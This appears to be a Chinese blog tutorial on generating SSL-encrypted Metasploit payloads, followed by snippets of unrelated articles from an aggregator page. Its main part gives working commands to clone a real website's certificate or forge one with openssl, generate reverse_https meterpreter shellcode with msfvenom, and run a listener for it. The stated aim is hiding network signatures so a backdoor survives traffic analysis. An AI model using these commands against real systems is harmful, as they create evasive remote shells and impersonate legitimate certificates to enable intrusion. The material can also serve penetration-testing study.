当前位置: 首页 > news >正文

1.3 Metasploit 生成SSL加密载荷

在本节中,我们将介绍如何通过使用Metasploit生成加密载荷,以隐藏网络特征。前一章节我们已经通过Metasploit生成了一段明文的ShellCode,但明文的网络传输存在安全隐患,因此本节将介绍如何通过生成SSL证书来加密ShellCode,使得网络特征得到隐藏,从而提高后门的生存能力和抵抗网络特征分析的能力。

ShellCode 网络特征加密我们采用的是SSL(Secure Sockets Layer),现已被替换为TLS(Transport Layer Security),SSL是一种用于在Web上传输数据的安全协议。它的主要目的是确保在互联网上传输的数据在传递过程中不会被第三方窃取或篡改。SSL加密的原理是通过两个公钥和一个私钥来加密数据。公钥用于加密数据,私钥用于解密数据。在传输过程中,发送者使用接收者的公钥对数据进行加密,接收者使用自己的私钥对数据进行解密。这样,即使在网络上被窃取,数据也无法被第三方解密,从而保证了数据的安全性。

通常,SSL证书由以下几部分组成:

  • 证书主体:证明证书拥有者的信息,如域名、组织名称等。
  • 公钥:用于加密数据的公钥。
  • 私钥:用于解密数据的私钥,需要在安全的环境中保存。
  • 签名:证明证书内容是由可信任的证书颁发机构签发的。
  • 有效期:证明证书的有效期,在该期限内有效。
  • 颁发者:证明证书的颁发者,如VeriSign、GoDaddy等。

1.3.1 通过MSF模块克隆证书

要想实现加密通常我们需要获取一个专属的证书文件,获取证书的方式有两种,第一种方式是通过Impersonate_SSL模块,对已有证书进行下载操作,如下命令实现了将www.lyshark.com网站中的证书下载到本地的功能,

msf6 > use auxiliary/gather/impersonate_ssl
msf6 > set rhost www.lyshark.com
msf6 > run

当读者执行命令后,则该证书将被下载到home/lyshark/.msf4/loot/目录下,其中包含了证书的key,crt,pem等文件,输出如下图所示;

当具备了克隆证书后,读者可在Metasploit中交互式执行如下命令实现生成带有加密功能的ShellCode代码,如下代码中通过HANDLERSSLCERT指定证书位置,并通过generate生成C语言版ShellCode代码。

msf6 > use payload/windows/meterpreter/reverse_https
msf6 > set STAGERVERIFYSSLCERT true
msf6 > set HANDLERSSLCERT /home/lyshark/.msf4/loot/20230407144733_default_59.110.117.109_59.110.117.109_p_764545.pem
msf6 > set LHOST 192.168.9.135
msf6 > set lport 8443
msf6 > generate -f c

而对于服务端来说,在传递参数时,读者同样需要在HANDLERSSLCERT中传递私有证书,

msf6 > use exploit/multi/handler
msf6 > set payload windows/meterpreter/reverse_https
msf6 > set HANDLERSSLCERT /home/lyshark/.msf4/loot/20230407144733_default_59.110.117.109_59.110.117.109_p_764545.pem
msf6 > set STAGERVERIFYSSLCERT true
msf6 > set LPORT 8443
msf6 > set LHOST 192.168.140.128
msf6 > run -j

1.3.2 通过OpenSSL制作证书

当然读者也可用通过kali系统内自带的openssl命令生成一个新的伪造证书,OpenSSL是一个开源的安全工具,用于实现SSL/TLS协议。它提供了一系列命令行工具,可以用于生成证书、加密数据、解密数据等操作。

首先使用第一种方式生成,下面是各个参数的详细解释:

  • req:指定生成证书请求。
  • new:指定生成一个新的证书请求。
  • newkey rsa:4096:指定生成的证书的密钥长度为4096位。
  • days 365:指定证书的有效期为365天。
  • nodes:指定不加密私钥。
  • x509:指定生成的证书类型为X.509证书。
  • subj “/C=UK/ST=London/L=London/O=Development/CN=www.lyshark.com”:指定证书主题信息,其中C=UK代表国家,ST=London代表省份,L=London代表城市,O=Development代表组织,CN=www.lyshark.com代表通用名称。
  • keyout www.lyshark.com.key:指定输出的私钥文件名。
  • out www.lyshark.com.crt:指定输出的证书文件名。

通过这条命令,可以生成一个有效期为365天,密钥长度为4096位的X.509证书,证书主题信息为"/C=UK/ST=London/L=London/O=Development/CN=www.lyshark.com",私钥文件名为www.lyshark.com.key,证书文件名为www.lyshark.com.crt。

┌──(lyshark㉿kali)-[~/lyshark]
└─$ openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 -subj \
"/C=UK/ST=London/L=London/O=Development/CN=www.lyshark.com" \
-keyout www.lyshark.com.key -out www.lyshark.com.crt┌──(lyshark㉿kali)-[~/lyshark]
└─$ cat www.lyshark.com.key www.lyshark.com.crt > www.lyshark.com.pem

接着读者可执行msfvenom命令通过非交互方式生成一段加密版的ShellCode代码片段。

┌──(lyshark㉿kali)-[~/lyshark]
└─$ msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.9.135 LPORT=8443 \
PayloadUUIDTracking=true PayloadUUIDName=Whoamishell \
HandlerSSLCert=/root/test/www.lyshark.com.pem \
StagerVerifySSLCert=true -f c -o /root/test.c

服务端启用侦听模式,并通过HandlerSSLCert传入同样的证书私钥即可。

msf6 > use exploit/multi/handler
msf6 > set payload windows/meterpreter/reverse_https
msf6 > set LHOST 192.168.9.135
msf6 > set LPORT 8443
msf6 > set HandlerSSLCert /root/test/www.baidu.com.pem
msf6 > set StagerVerifySSLCert true
msf6 > exploit -j -z

本文作者: 王瑞
本文链接: https://www.lyshark.com/post/4f8ecc9a.html
版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!

相关文章:

1.3 Metasploit 生成SSL加密载荷

在本节中,我们将介绍如何通过使用Metasploit生成加密载荷,以隐藏网络特征。前一章节我们已经通过Metasploit生成了一段明文的ShellCode,但明文的网络传输存在安全隐患,因此本节将介绍如何通过生成SSL证书来加密ShellCode&#xff…...

redis windows 版本安装

1. 下载windows安装包并解压 如果是Linux版本可以直接到官网下载,自3.x起官网和微软网站就没有redis安装包更新了,好在github有开发者在编译发布更新(目前最新有5.0.9版本可下),地址:redis windows 5版本下…...

限流算法深入

限流定义及目的 当系统流量达到系统或下游承受能力的阈值时对系统进行限流控制以防止系统或下游挂掉,减少影响面。 限流组成:阈值及限流策略。阈值是指系统单位时间接收到的请求qps总数;限流策略是指限流行业触发后对应的系统行为&#xff…...

java 基础知识 循环的几个题目

1、输出1~100的累加和 结果显示在屏幕,显示在文件res1.txt中 2、输出1-~100的偶数和 结果显示在屏幕,显示在文件res2.txt中 3、输出所有水仙花数: 100~999的数中出现个位数的立方十位数的立方百位数的立方这个数本身 4、输出由9行9列星号组成…...

Spring Boot使用LocalDateTime、LocalDate作为入参

0x0 背景 项目中使用LocalDateTime系列作为dto中时间的类型,但是spring收到参数后总报错,为了全局配置时间类型转换,尝试了如下3中方法。 注:本文基于Springboot2.0测试,如果无法生效可能是spring版本较低导致的。PS&…...

第七周第七天学习总结 | MySQL入门及练习学习第二天

实操练习: 1.创建一个名为 cesh的数据库 2.在这个数据库内 创建一个名为 xinxi 的表要求该表可以包含:编号,姓名,备注的信息 3.为 ceshi 表 添加数据 4.为xinxi 表的数据设置中文别名 5.查询 在 xinxi 表中编号 为2 的全部…...

【考研数学】线形代数第三章——向量 | 3)向量组秩的性质、向量空间、过渡矩阵

文章目录 引言三、向量组等价、向量组的极大线性无关组与秩3.2 向量组秩的性质 四、 n n n 维向量空间4.1 基本概念4.2 基本性质 写在最后 引言 紧接前文学习完向量组秩的基本概念后,继续往后学习向量的内容。 三、向量组等价、向量组的极大线性无关组与秩 3.2 向…...

【技术】SpringBoot Word 模板替换

SpringBoot Word 模板替换 什么是 Word 模板替换如何实现 Word 模板替换 什么是 Word 模板替换 模板一般是具有固定格式的内容,其中一部分需要替换。Word 模板通俗的讲是以 Word 的形式制作模板,固定格式和内容,然后将其中的一部分数据替换掉…...

java jni nv21和nv12互转

目录 libyuv性能比较 NV12 NV21 YUV420格式介绍 jni YUV420toYUV420SemiPlanar java YUV420toYUV420SemiPlanar java NV12toYUV420SemiPlanar jni NV12toYUV420SemiPlanar...

后端面试话术集锦第二篇:spring boot面试话术

🚗后端面试集锦目录 💖后端面试话术集锦第一篇:spring面试话术💖 💖后端面试话术集锦第二篇:spring boot面试话术💖 💖后端面试话术集锦第三篇:spring cloud面试话术💖 💖后端面试话术集锦第四篇:ElasticSearch面试话术💖 💖后端面试话术集锦第五篇:r…...

Doris中分区和分桶使用教程

1 分区与分桶 Doris中有两层的数据划分,第一层是分区(Partition),第二层是分桶(Bucket), Partition又能分为Range分区和List分区。 Bucket仅支持Hash方式。 1.1 Partition 只能指定…...

电脑不安装软件,怎么将手机文件传输到电脑?

很多人都知道,AirDroid有网页版(web.airdroid.com)。 想要文件传输,却不想在电脑安装软件时,AirDroid的网页版其实也可以传输文件。 然而,要将文件从手机传输文件到网页端所在的电脑时,如果按…...

vue3 publish 出现的问题

vue3项目使用 yarn build 编译出dist文件, 发布后出现错误 #问题与解决 1)登录迭代错误(Maximum call stack size exceeded) >deepclone 的问题 在 GrandhallLayout 中判断菜单和权限中; const mainMenu cloneDeep(router.getRoutes()) lodash.clonedee…...

网络防御和入侵检测

网络防御和入侵检测是维护网络安全的关键任务,可以帮助识别和阻止未经授权的访问和恶意行为。以下是一些基本的步骤和方法,用于进行网络防御和入侵检测。 网络防御: 防火墙设置: 部署防火墙来监控和控制网络流量,阻止…...

【科研论文配图绘制】task5 SciencePlots绘图包入门

【科研论文配图绘制】task5 SciencePlots绘图包入门 task5主要学习了SciencePlots拓展包的出图样式,掌握SciencePlots的安装及具体使用。 SciencePlots作为一个专门用于科研论文绘图的第三方拓展工具包,提供了主流英文科技 期刊(如 Nature、Science 和 …...

R语言常用数学函数

目录 1. - * / ^ 2.%/%和%% 3.ceiling,floor,round 4.signif,trunc,zapsamll 5.max,min,mean,pmax,pmin 6.range和sum 7.prod 8.cumsum,cumprod,cummax,cummin 9.sort 10. approx 11.approx fun 12.diff 13.sign 14.var和sd 15.median 16.IQR 17.ave 18.five…...

公网远程访问局域网SQL Server数据库

文章目录 1.前言2.本地安装和设置SQL Server2.1 SQL Server下载2.2 SQL Server本地连接测试2.3 Cpolar内网穿透的下载和安装2.3 Cpolar内网穿透的注册 3.本地网页发布3.1 Cpolar云端设置3.2 Cpolar本地设置 4.公网访问测试5.结语 1.前言 数据库的重要性相信大家都有所了解&…...

Apache Celeborn 让 Spark 和 Flink 更快更稳更弹性

摘要:本文整理自阿里云/数据湖 Spark 引擎负责人周克勇(一锤)在 Streaming Lakehouse Meetup 的分享。内容主要分为五个部分: Apache Celeborn 的背景Apache Celeborn——快Apache Celeborn——稳Apache Celeborn——弹Evaluation…...

华为数通方向HCIP-DataCom H12-821题库(单选题:141-160)

第141题 Router-LSA 能够描述不同的链路类型,不属于Router LSA 链路类型的是以下哪一项? A、Link Type 可以用来描述到末梢网络的连接,即 SubNet B、Link Type 可以用来描述到中转网络的连接,即 TranNet C、Link Type 可以用来描述到另一…...

Windows-docker集成SRS服务器的部署和使用

Windows-docker集成SRS服务器的部署和使用 一、Windows Docker安装 Docker Desktop 官方下载地址: https://docs.docker.com/desktop/install/windows-install/ 下载windows版本的就可以了。 注意:此方法仅适用于 Windows 10 操作系统专业版、企业版、…...

模型参数、模型存储精度、参数与显存

模型参数量衡量单位 M:百万(Million) B:十亿(Billion) 1 B 1000 M 1B 1000M 1B1000M 参数存储精度 模型参数是固定的,但是一个参数所表示多少字节不一定,需要看这个参数以什么…...

解锁数据库简洁之道:FastAPI与SQLModel实战指南

在构建现代Web应用程序时,与数据库的交互无疑是核心环节。虽然传统的数据库操作方式(如直接编写SQL语句与psycopg2交互)赋予了我们精细的控制权,但在面对日益复杂的业务逻辑和快速迭代的需求时,这种方式的开发效率和可…...

全球首个30米分辨率湿地数据集(2000—2022)

数据简介 今天我们分享的数据是全球30米分辨率湿地数据集,包含8种湿地亚类,该数据以0.5X0.5的瓦片存储,我们整理了所有属于中国的瓦片名称与其对应省份,方便大家研究使用。 该数据集作为全球首个30米分辨率、覆盖2000–2022年时间…...

STM32---外部32.768K晶振(LSE)无法起振问题

晶振是否起振主要就检查两个1、晶振与MCU是否兼容;2、晶振的负载电容是否匹配 目录 一、判断晶振与MCU是否兼容 二、判断负载电容是否匹配 1. 晶振负载电容(CL)与匹配电容(CL1、CL2)的关系 2. 如何选择 CL1 和 CL…...

【前端异常】JavaScript错误处理:分析 Uncaught (in promise) error

在前端开发中,JavaScript 异常是不可避免的。随着现代前端应用越来越多地使用异步操作(如 Promise、async/await 等),开发者常常会遇到 Uncaught (in promise) error 错误。这个错误是由于未正确处理 Promise 的拒绝(r…...

WPF八大法则:告别模态窗口卡顿

⚙️ 核心问题:阻塞式模态窗口的缺陷 原始代码中ShowDialog()会阻塞UI线程,导致后续逻辑无法执行: var result modalWindow.ShowDialog(); // 线程阻塞 ProcessResult(result); // 必须等待窗口关闭根本问题&#xff1a…...

云安全与网络安全:核心区别与协同作用解析

在数字化转型的浪潮中,云安全与网络安全作为信息安全的两大支柱,常被混淆但本质不同。本文将从概念、责任分工、技术手段、威胁类型等维度深入解析两者的差异,并探讨它们的协同作用。 一、核心区别 定义与范围 网络安全:聚焦于保…...

Qt的学习(一)

1.什么是Qt Qt特指用来进行桌面应用开发(电脑上写的程序)涉及到的一套技术Qt无法开发网页前端,也不能开发移动应用。 客户端开发的重要任务:编写和用户交互的界面。一般来说和用户交互的界面,有两种典型风格&…...

数据库正常,但后端收不到数据原因及解决

从代码和日志来看,后端SQL查询确实返回了数据,但最终user对象却为null。这表明查询结果没有正确映射到User对象上。 在前后端分离,并且ai辅助开发的时候,很容易出现前后端变量名不一致情况,还不报错,只是单…...

【记录坑点问题】IDEA运行:maven-resources-production:XX: OOM: Java heap space

问题:IDEA出现maven-resources-production:operation-service: java.lang.OutOfMemoryError: Java heap space 解决方案:将编译的堆内存增加一点 位置:设置setting-》构建菜单build-》编译器Complier...